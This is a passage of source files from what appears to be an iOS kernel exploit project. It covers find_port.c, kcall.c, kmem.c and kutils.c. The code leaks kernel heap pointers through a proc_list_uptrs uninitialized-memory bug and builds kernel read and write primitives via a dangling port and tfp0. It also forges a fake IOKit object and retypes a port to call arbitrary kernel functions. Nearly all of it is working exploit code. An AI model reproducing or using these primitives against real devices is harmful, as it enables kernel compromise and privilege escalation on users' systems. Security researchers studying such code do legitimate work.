34 | };
35 |
36 | #define PRIVATE
37 | #include
38 | #include
39 | #include
40 | #include
41 |
42 | struct kevent_extinfo {
43 | struct kevent_qos_s kqext_kev;
44 | uint64_t kqext_sdata;
45 | int kqext_status;
46 | int kqext_sfflags;
47 | uint64_t kqext_reserved[2];
48 | };
49 |
50 | extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags);
51 |
52 | int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize);
53 |
54 | // appends n_events user events onto this process's kevent queue
55 | static void fill_events(int n_events) {
56 | struct kevent_qos_s events_id[] = {{
57 | .filter = EVFILT_USER,
58 | .ident = 1,
59 | .flags = EV_ADD,
60 | .udata = 0x2345
61 | }};
62 |
63 | kqueue_id_t id = 0x1234;
64 |
65 | for (int i = 0; i < n_events; i++) {
66 | int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
67 | KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
68 |
69 | if (err != 0) {
70 | printf(" [-] failed to enqueue user event\n");
71 | exit(EXIT_FAILURE);
72 | }
73 |
74 | events_id[0].ident++;
75 | }
76 | }
77 |
78 | int kqueues_allocated = 0;
79 |
80 | static void prepare_kqueue() {
81 | // ensure there are a large number of events so that kevent_proc_copy_uptrs
82 | // always returns a large number
83 | if (kqueues_allocated) {
84 | return;
85 | }
86 | fill_events(10000);
87 | printf(" [+] prepared kqueue\n");
88 | kqueues_allocated = 1;
89 | }
90 |
91 | // will make a kalloc allocation of (count*8)+7
92 | // and only write to the first (count*8) bytes.
93 | // the return value is those last 7 bytes uninitialized bytes as a uint64_t
94 | // (the upper byte will be set to 0)
95 | static uint64_t try_leak(int count) {
96 | int buf_size = (count*8)+7;
97 | char* buf = calloc(buf_size+1, 1);
98 |
99 | int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
100 |
101 | if (err == -1) {
102 | return 0;
103 | }
104 |
105 | // the last 7 bytes will contain the leaked data:
106 | uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
107 |
108 | return last_val;
109 | }
110 |
111 | struct ool_msg {
112 | mach_msg_header_t hdr;
113 | mach_msg_body_t body;
114 | mach_msg_ool_ports_descriptor_t ool_ports;
115 | };
116 |
117 | // fills a kalloc allocation with count times of target_port's struct ipc_port pointer
118 | // To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
119 | static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
120 | // allocate a port to send the message to
121 | mach_port_t q = MACH_PORT_NULL;
122 | kern_return_t err;
123 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
124 | if (err != KERN_SUCCESS) {
125 | printf(" [-] failed to allocate port\n");
126 | exit(EXIT_FAILURE);
127 | }
128 |
129 | mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
130 | for (int i = 0; i < count; i++) {
131 | ports[i] = target_port;
132 | }
133 |
134 | struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
135 |
136 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
137 | msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
138 | msg->hdr.msgh_remote_port = q;
139 | msg->hdr.msgh_local_port = MACH_PORT_NULL;
140 | msg->hdr.msgh_id = 0x41414141;
141 |
142 | msg->body.msgh_descriptor_count = 1;
143 |
144 | msg->ool_ports.address = ports;
145 | msg->ool_ports.count = count;
146 | msg->ool_ports.deallocate = 0;
147 | msg->ool_ports.disposition = disposition;
148 | msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
149 | msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
150 |
151 | err = mach_msg(&msg->hdr,
152 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
153 | (mach_msg_size_t)sizeof(struct ool_msg),
154 | 0,
155 | MACH_PORT_NULL,
156 | MACH_MSG_TIMEOUT_NONE,
157 | MACH_PORT_NULL);
158 |
159 | if (err != KERN_SUCCESS) {
160 | printf(" [-] failed to send message: %s\n", mach_error_string(err));
161 | exit(EXIT_FAILURE);
162 | }
163 |
164 | return q;
165 | }
166 |
167 | static int uint64_t_compare(const void* a, const void* b) {
168 | uint64_t a_val = (*(uint64_t*)a);
169 | uint64_t b_val = (*(uint64_t*)b);
170 | if (a_val < b_val) {
171 | return -1;
172 | }
173 | if (a_val == b_val) {
174 | return 0;
175 | }
176 | return 1;
177 | }
178 |
179 | uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) {
180 | prepare_kqueue();
181 |
182 | int n_guesses = 100;
183 | uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t));
184 | int valid_guesses = 0;
185 |
186 | for (int i = 1; i < n_guesses+1; i++) {
187 | mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
188 | mach_port_destroy(mach_task_self(), q);
189 | uint64_t leaked = try_leak(i-1);
190 | //printf("leaked %016llx\n", leaked);
191 |
192 | // a valid guess is one which looks a bit like a kernel heap pointer
193 | // without the upper byte:
194 | if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
195 | guesses[valid_guesses++] = leaked | 0xff00000000000000;
196 | }
197 | }
198 |
199 | if (valid_guesses == 0) {
200 | printf(" [-] couldn't leak any kernel pointers\n");
201 | exit(EXIT_FAILURE);
202 | }
203 |
204 | // return the most frequent guess
205 | qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
206 |
207 | uint64_t best_guess = guesses[0];
208 | int best_guess_count = 1;
209 |
210 | uint64_t current_guess = guesses[0];
211 | int current_guess_count = 1;
212 | for (int i = 1; i < valid_guesses; i++) {
213 | if (guesses[i] == guesses[i-1]) {
214 | current_guess_count++;
215 | if (current_guess_count > best_guess_count) {
216 | best_guess = current_guess;
217 | best_guess_count = current_guess_count;
218 | }
219 | } else {
220 | current_guess = guesses[i];
221 | current_guess_count = 1;
222 | }
223 | }
224 |
225 | //printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses);
226 |
227 | free(guesses);
228 |
229 | return best_guess;
230 | }
231 |
232 | uint64_t find_port_via_kmem_read(mach_port_name_t port) {
233 | uint64_t task_port_addr = task_self_addr();
234 |
235 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
236 |
237 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
238 |
239 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
240 |
241 | uint32_t port_index = port >> 8;
242 | const int sizeof_ipc_entry_t = 0x18;
243 |
244 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
245 | return port_addr;
246 | }
247 |
248 | uint64_t find_port_address(mach_port_t port, int disposition) {
249 | if (have_kmem_read()) {
250 | return find_port_via_kmem_read(port);
251 | }
252 | return find_port_via_proc_pidlistuptrs_bug(port, disposition);
253 | }
254 |
--------------------------------------------------------------------------------
/Files/find_port.h:
--------------------------------------------------------------------------------
1 | #ifndef find_port_h
2 | #define find_port_h
3 |
4 | #include
5 |
6 | uint64_t find_port_address(mach_port_t port, int disposition);
7 |
8 | #endif /* find_port_h */
9 |
--------------------------------------------------------------------------------
/Files/kcall.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include "kcall.h"
8 | #include "kmem.h"
9 | #include "find_port.h"
10 | #include "kutils.h"
11 | #include "symbols.h"
12 | #include "early_kalloc.h"
13 |
14 |
15 |
16 | extern uint64_t
17 | iokit_user_client_trap(
18 | mach_port_t connect,
19 | unsigned int index,
20 | uintptr_t p1,
21 | uintptr_t p2,
22 | uintptr_t p3,
23 | uintptr_t p4,
24 | uintptr_t p5,
25 | uintptr_t p6 );
26 |
27 | #if 0
28 | // OSSerializer::Serialize method
29 | // lets you pass two uint64_t arguments
30 | // no return value
31 |
32 | // a simple IOKit mig method
33 | extern void IOIteratorReset(mach_port_t port);
34 |
35 | struct fake_iokit_obj {
36 | uint64_t vtable;
37 | uint64_t refcount; // vtable +0x00
38 | uint64_t arg0; // vtable +0x08
39 | uint64_t arg1; // vtable +0x10
40 | uint64_t fptr; // vtable +0x18
41 | uint64_t retain; // vtable +0x20
42 | uint64_t release; // vtable +0x28
43 | uint64_t ign; // vtable +0x30
44 | uint64_t get_meta_class; // vtable +0x38
45 | };
46 |
47 | // call fptr in the context of the current thread passing arg0 and arg1
48 | // uses the serializer gadget
49 | void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1) {
50 | // allocate some memory to hold a fake iokit object:
51 | uint64_t obj_kaddr = kmem_alloc(sizeof(struct fake_iokit_obj)+0x800);
52 |
53 | // fill in the fields:
54 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, vtable), obj_kaddr+0x08); // point this to the next field
55 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, refcount), 0x2017);
56 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, arg0), arg0);
57 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, arg1), arg1);
58 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, fptr), fptr);
59 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, retain), ksym(KSYMBOL_RET));
60 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, release), ksym(KSYMBOL_OSSERIALIZER_SERIALIZE));
61 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, ign), 0);
62 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class), ksym(KSYMBOL_OSARRAY_GET_META_CLASS));
63 | for (int i = 1; i < 0xff; i++) {
64 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class) + (i*8), 0x1010101010101000+(i*4));
65 | }
66 |
67 | // allocate a port
68 | mach_port_t port = MACH_PORT_NULL;
69 | kern_return_t err;
70 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
71 | if (err != KERN_SUCCESS) {
72 | printf("failed to allocate port\n");
73 | return;
74 | }
75 |
76 | // get a send right
77 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
78 |
79 | // locate the port
80 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
81 |
82 | // change the type of the port
83 | #define IKOT_IOKIT_OBJECT 30
84 | #define IO_ACTIVE 0x80000000
85 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_OBJECT);
86 |
87 | // cache the current space:
88 | uint64_t original_space = rk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
89 |
90 | // change the space of the port
91 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
92 |
93 | // set the kobject
94 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr);
95 |
96 | // call an iokit method
97 | IOIteratorReset(port);
98 |
99 | // clear the kobject
100 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
101 |
102 | // reset the space
103 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space);
104 |
105 | // reset the type
106 | #define IKOT_NONE 0
107 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE);
108 |
109 | // release the port
110 | mach_port_destroy(mach_task_self(), port);
111 |
112 | // free the fake object
113 | kmem_free(obj_kaddr, sizeof(struct fake_iokit_obj)+0x800);
114 | }
115 |
116 | void test_kcall() {
117 | uint64_t test_buf = kmem_alloc(0x20);
118 | wk64(test_buf, 0x4141414141414141);
119 | wk64(test_buf+8, 0);
120 | kcall(ksym(KSYMBOL_UUID_COPY), test_buf+8, test_buf);
121 | uint64_t read_val = rk64(test_buf+8);
122 | printf("read_val: %llx\n", read_val);
123 | kmem_free(test_buf, 0x20);
124 | }
125 | #endif
126 |
127 | /*
128 | __TEXT_EXEC:__text:FFFFFFF0073EB130 _csblob_get_cdhash ; DATA XREF: com.apple.driver.AppleMobileFileIntegrity:__got:AppleMobileFileIntegrity_GOT__csblob_get_cdhasho
129 | __TEXT_EXEC:__text:FFFFFFF0073EB130 ; com.apple.security.sandbox:__got:sandbox_GOT__csblob_get_cdhasho
130 | __TEXT_EXEC:__text:FFFFFFF0073EB130 ADD X0, X0, #0x40
131 | __TEXT_EXEC:__text:FFFFFFF0073EB134 RET
132 | */
133 |
134 | mach_port_t arbitrary_call_port = MACH_PORT_NULL;
135 | uint64_t obj_kaddr = 0;
136 |
137 | // the iokit_user_client_trap method.
138 | // this lets you pass up to 7 uint64_t arguments
139 | // the return value will be truncated to 32-bits
140 | // see arm_set_mach_syscall_ret for why:
141 | // static void
142 | // arm_set_mach_syscall_ret(struct arm_saved_state *state, int retval)
143 | // {
144 | // if (is_saved_state32(state)) {
145 | // saved_state32(state)->r[0] = retval;
146 | // } else {
147 | // saved_state64(state)->x[0] = retval;
148 | // }
149 | // }
150 | // that compiles to:
151 | // STR W20, [X19,#8] <-- 32-bit store
152 |
153 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...) {
154 | uint64_t args[7] = {0};
155 | va_list ap;
156 | va_start(ap, argc);
157 |
158 | if (argc > 7) {
159 | printf("too many arguments to kcall\n");
160 | return 0;
161 | }
162 |
163 | for (int i = 0; i < argc; i++){
164 | args[i] = va_arg(ap, uint64_t);
165 | }
166 |
167 | va_end(ap);
168 |
169 | if (arbitrary_call_port == MACH_PORT_NULL) {
170 | // build the object:
171 | // allocate some memory to hold a fake iokit object:
172 | obj_kaddr = early_kalloc(0x1000);
173 | printf("kcall object allocated via early_kalloc at %llx\n", obj_kaddr);
174 |
175 | // fill in the fields:
176 | wk64(obj_kaddr + 0, obj_kaddr+0x800); // vtable pointer
177 |
178 | // IOExternalTrap
179 | wk64(obj_kaddr + 0x50, 0); // the function pointer is actually a pointer-to-member-method, so needs a 0 here too
180 | // see this old bug where I discuss pointer-to-member-methods:
181 | // https://bugs.chromium.org/p/project-zero/issues/detail?id=20
182 |
183 | wk32(obj_kaddr + 0x9c, 0x1234); // __ipc
184 |
185 | // vtable:
186 | wk64(obj_kaddr + 0x800 + 0x20, ksym(KSYMBOL_RET)); // vtable::retain
187 | wk64(obj_kaddr + 0x800 + 0x28, ksym(KSYMBOL_RET)); // vtable::release
188 | wk64(obj_kaddr + 0x800 + 0x38, ksym(KSYMBOL_IOUSERCLIENT_GET_META_CLASS)); // vtable::getMetaClass
189 | wk64(obj_kaddr + 0x800 + 0x5b8, ksym(KSYMBOL_CSBLOB_GET_CD_HASH)); // vtable::getExternalTrapForIndex
190 | wk64(obj_kaddr + 0x800 + 0x5c0, ksym(KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX));
191 |
192 | // allocate a port
193 | kern_return_t err;
194 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &arbitrary_call_port);
195 | if (err != KERN_SUCCESS) {
196 | printf("failed to allocate port\n");
197 | return 0;
198 | }
199 |
200 | // get a send right
201 | mach_port_insert_right(mach_task_self(), arbitrary_call_port, arbitrary_call_port, MACH_MSG_TYPE_MAKE_SEND);
202 |
203 | // locate the port
204 | uint64_t port_addr = find_port_address(arbitrary_call_port, MACH_MSG_TYPE_COPY_SEND);
205 |
206 | // change the type of the port
207 | #define IKOT_IOKIT_CONNECT 29
208 | #define IO_ACTIVE 0x80000000
209 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_CONNECT);
210 |
211 | // cache the current space:
212 | //uint64_t original_space = rk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
213 |
214 | // change the space of the port
215 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
216 |
217 | // set the kobject
218 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr);
219 | }
220 |
221 | // put arg0 and the function pointer in the right place
222 | wk64(obj_kaddr + 0x40, args[0]);
223 | wk64(obj_kaddr + 0x48, fptr);
224 |
225 | // call the external trap:
226 | uint64_t return_val = iokit_user_client_trap(arbitrary_call_port, 0,
227 | args[1],
228 | args[2],
229 | args[3],
230 | args[4],
231 | args[5],
232 | args[6]);
233 |
234 | printf("return val %llx\n", return_val);
235 |
236 | #if 0
237 | // clear the kobject
238 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
239 |
240 | // reset the space
241 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space);
242 |
243 | // reset the type
244 | #define IKOT_NONE 0
245 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE);
246 |
247 | // release the port
248 | mach_port_destroy(mach_task_self(), port);
249 | #endif
250 |
251 | return return_val;
252 | }
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
--------------------------------------------------------------------------------
/Files/kcall.h:
--------------------------------------------------------------------------------
1 | #ifndef kcall_h
2 | #define kcall_h
3 |
4 | void kprintstr(char* msg);
5 | void test_kcall(void);
6 | //void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1);
7 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...);
8 | #endif
9 |
--------------------------------------------------------------------------------
/Files/kdbg.h:
--------------------------------------------------------------------------------
1 | #ifndef kdbg_h
2 | #define kdbg_h
3 |
4 | void test_kernel_bp(void);
5 | uint64_t pin_current_thread(void);
6 | void test_kdbg(void);
7 | void test_fp(void);
8 |
9 | #endif
10 |
--------------------------------------------------------------------------------
/Files/kmem.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include
6 |
7 | #include "kmem.h"
8 | #include "kutils.h"
9 |
10 | /***** mach_vm.h *****/
11 | kern_return_t mach_vm_read(
12 | vm_map_t target_task,
13 | mach_vm_address_t address,
14 | mach_vm_size_t size,
15 | vm_offset_t *data,
16 | mach_msg_type_number_t *dataCnt);
17 |
18 | kern_return_t mach_vm_write(
19 | vm_map_t target_task,
20 | mach_vm_address_t address,
21 | vm_offset_t data,
22 | mach_msg_type_number_t dataCnt);
23 |
24 | kern_return_t mach_vm_read_overwrite(
25 | vm_map_t target_task,
26 | mach_vm_address_t address,
27 | mach_vm_size_t size,
28 | mach_vm_address_t data,
29 | mach_vm_size_t *outsize);
30 |
31 | kern_return_t mach_vm_allocate(
32 | vm_map_t target,
33 | mach_vm_address_t *address,
34 | mach_vm_size_t size,
35 | int flags);
36 |
37 | kern_return_t mach_vm_deallocate (
38 | vm_map_t target,
39 | mach_vm_address_t address,
40 | mach_vm_size_t size);
41 |
42 | kern_return_t mach_vm_protect (
43 | vm_map_t target_task,
44 | mach_vm_address_t address,
45 | mach_vm_size_t size,
46 | boolean_t set_maximum,
47 | vm_prot_t new_protection);
48 |
49 | // the exploit bootstraps the full kernel memory read/write with a fake
50 | // task which just allows reading via the bsd_info->pid trick
51 | // this first port is kmem_read_port
52 | mach_port_t kmem_read_port = MACH_PORT_NULL;
53 | void prepare_rk_via_kmem_read_port(mach_port_t port) {
54 | kmem_read_port = port;
55 | }
56 |
57 | mach_port_t tfp0 = MACH_PORT_NULL;
58 | void prepare_rwk_via_tfp0(mach_port_t port) {
59 | tfp0 = port;
60 | }
61 |
62 | int have_kmem_read() {
63 | return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
64 | }
65 |
66 | int have_kmem_write() {
67 | return (tfp0 != MACH_PORT_NULL);
68 | }
69 |
70 | uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
71 | kern_return_t err;
72 | if (kmem_read_port == MACH_PORT_NULL) {
73 | printf("kmem_read_port not set, have you called prepare_rk?\n");
74 | sleep(10);
75 | exit(EXIT_FAILURE);
76 | }
77 |
78 | mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
79 | err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
80 | if (err != KERN_SUCCESS) {
81 | printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
82 | sleep(10);
83 | exit(EXIT_FAILURE);
84 | }
85 |
86 | // now do the read:
87 | uint32_t val = 0;
88 | err = pid_for_task(kmem_read_port, (int*)&val);
89 | if (err != KERN_SUCCESS) {
90 | printf("error calling pid_for_task %x %s", err, mach_error_string(err));
91 | sleep(10);
92 | exit(EXIT_FAILURE);
93 | }
94 |
95 | return val;
96 | }
97 |
98 | uint32_t rk32_via_tfp0(uint64_t kaddr) {
99 | kern_return_t err;
100 | uint32_t val = 0;
101 | mach_vm_size_t outsize = 0;
102 |
103 | err = mach_vm_read_overwrite(tfp0,
104 | (mach_vm_address_t)kaddr,
105 | (mach_vm_size_t)sizeof(uint32_t),
106 | (mach_vm_address_t)&val,
107 | &outsize);
108 | if (err != KERN_SUCCESS){
109 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
110 | sleep(3);
111 | return 0;
112 | }
113 |
114 | if (outsize != sizeof(uint32_t)){
115 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
116 | sleep(3);
117 | return 0;
118 | }
119 | return val;
120 | }
121 |
122 | uint32_t rk32(uint64_t kaddr) {
123 | if (tfp0 != MACH_PORT_NULL) {
124 | return rk32_via_tfp0(kaddr);
125 | }
126 |
127 | if (kmem_read_port != MACH_PORT_NULL) {
128 | return rk32_via_kmem_read_port(kaddr);
129 | }
130 |
131 | printf("attempt to read kernel memory but no kernel memory read primitives available\n");
132 | sleep(3);
133 |
134 | return 0;
135 | }
136 |
137 | uint64_t rk64(uint64_t kaddr) {
138 | uint64_t lower = rk32(kaddr);
139 | uint64_t higher = rk32(kaddr+4);
140 | uint64_t full = ((higher<<32) | lower);
141 | return full;
142 | }
143 |
144 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
145 | if (tfp0 == MACH_PORT_NULL) {
146 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
147 | sleep(3);
148 | return;
149 | }
150 |
151 | kern_return_t err;
152 | err = mach_vm_write(tfp0,
153 | (mach_vm_address_t)kaddr,
154 | (vm_offset_t)buffer,
155 | (mach_msg_type_number_t)length);
156 |
157 | if (err != KERN_SUCCESS) {
158 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
159 | return;
160 | }
161 | }
162 |
163 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
164 | kern_return_t err;
165 | uint32_t val = 0;
166 | mach_vm_size_t outsize = 0;
167 | err = mach_vm_read_overwrite(tfp0,
168 | (mach_vm_address_t)kaddr,
169 | (mach_vm_size_t)length,
170 | (mach_vm_address_t)buffer,
171 | &outsize);
172 | if (err != KERN_SUCCESS){
173 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
174 | sleep(3);
175 | return;
176 | }
177 |
178 | if (outsize != length){
179 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
180 | sleep(3);
181 | return;
182 | }
183 | }
184 |
185 | const uint64_t kernel_address_space_base = 0xffff000000000000;
186 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
187 | if (dest >= kernel_address_space_base) {
188 | // copy to kernel:
189 | wkbuffer(dest, (void*) src, length);
190 | } else {
191 | // copy from kernel
192 | rkbuffer(src, (void*)dest, length);
193 | }
194 | }
195 |
196 | void wk32(uint64_t kaddr, uint32_t val) {
197 | if (tfp0 == MACH_PORT_NULL) {
198 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
199 | sleep(3);
200 | return;
201 | }
202 |
203 | kern_return_t err;
204 | err = mach_vm_write(tfp0,
205 | (mach_vm_address_t)kaddr,
206 | (vm_offset_t)&val,
207 | (mach_msg_type_number_t)sizeof(uint32_t));
208 |
209 | if (err != KERN_SUCCESS) {
210 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
211 | return;
212 | }
213 | }
214 |
215 | void wk64(uint64_t kaddr, uint64_t val) {
216 | uint32_t lower = (uint32_t)(val & 0xffffffff);
217 | uint32_t higher = (uint32_t)(val >> 32);
218 | wk32(kaddr, lower);
219 | wk32(kaddr+4, higher);
220 | }
221 |
222 | uint64_t kmem_alloc(uint64_t size) {
223 | if (tfp0 == MACH_PORT_NULL) {
224 | printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
225 | sleep(3);
226 | return 0;
227 | }
228 |
229 | kern_return_t err;
230 | mach_vm_address_t addr = 0;
231 | mach_vm_size_t ksize = round_page_kernel(size);
232 | err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
233 | if (err != KERN_SUCCESS) {
234 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
235 | sleep(3);
236 | return 0;
237 | }
238 | return addr;
239 | }
240 |
241 | uint64_t kmem_alloc_wired(uint64_t size) {
242 | if (tfp0 == MACH_PORT_NULL) {
243 | printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
244 | sleep(3);
245 | return 0;
246 | }
247 |
248 | kern_return_t err;
249 | mach_vm_address_t addr = 0;
250 | mach_vm_size_t ksize = round_page_kernel(size);
251 |
252 | printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
253 |
254 | err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
255 | if (err != KERN_SUCCESS) {
256 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
257 | sleep(3);
258 | return 0;
259 | }
260 |
261 | printf("allocated address: %llx\n", addr);
262 |
263 | addr += 0x3fff;
264 | addr &= ~0x3fffull;
265 |
266 | printf("address to wire: %llx\n", addr);
267 |
268 | err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
269 | if (err != KERN_SUCCESS) {
270 | printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
271 | sleep(3);
272 | return 0;
273 | }
274 | return addr;
275 | }
276 |
277 | void kmem_free(uint64_t kaddr, uint64_t size) {
278 | return;
279 | if (tfp0 == MACH_PORT_NULL) {
280 | printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
281 | sleep(3);
282 | return;
283 | }
284 |
285 | kern_return_t err;
286 | mach_vm_size_t ksize = round_page_kernel(size);
287 | err = mach_vm_deallocate(tfp0, kaddr, ksize);
288 | if (err != KERN_SUCCESS) {
289 | printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
290 | sleep(3);
291 | return;
292 | }
293 | }
294 |
295 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
296 | if (tfp0 == MACH_PORT_NULL) {
297 | printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
298 | sleep(3);
299 | return;
300 | }
301 | kern_return_t err;
302 | err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
303 | if (err != KERN_SUCCESS) {
304 | printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
305 | sleep(3);
306 | return;
307 | }
308 | }
309 |
--------------------------------------------------------------------------------
/Files/kmem.h:
--------------------------------------------------------------------------------
1 | #ifndef kmem_h
2 | #define kmem_h
3 |
4 | #include
5 |
6 | uint32_t rk32(uint64_t kaddr);
7 | uint64_t rk64(uint64_t kaddr);
8 |
9 | void wk32(uint64_t kaddr, uint32_t val);
10 | void wk64(uint64_t kaddr, uint64_t val);
11 |
12 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length);
13 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length);
14 |
15 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
16 |
17 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
18 |
19 | uint64_t kmem_alloc(uint64_t size);
20 | uint64_t kmem_alloc_wired(uint64_t size);
21 | void kmem_free(uint64_t kaddr, uint64_t size);
22 |
23 | void prepare_rk_via_kmem_read_port(mach_port_t port);
24 | void prepare_rwk_via_tfp0(mach_port_t port);
25 |
26 | // query whether kmem read or write is present
27 | int have_kmem_read(void);
28 | int have_kmem_write(void);
29 |
30 | #endif
31 |
--------------------------------------------------------------------------------
/Files/kutils.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 |
6 | #include "kutils.h"
7 | #include "kmem.h"
8 | #include "find_port.h"
9 | #include "symbols.h"
10 |
11 | uint64_t cached_task_self_addr = 0;
12 | uint64_t task_self_addr() {
13 | if (cached_task_self_addr == 0) {
14 | cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
15 | printf("task self: 0x%llx\n", cached_task_self_addr);
16 | }
17 | return cached_task_self_addr;
18 | }
19 |
20 | uint64_t ipc_space_kernel() {
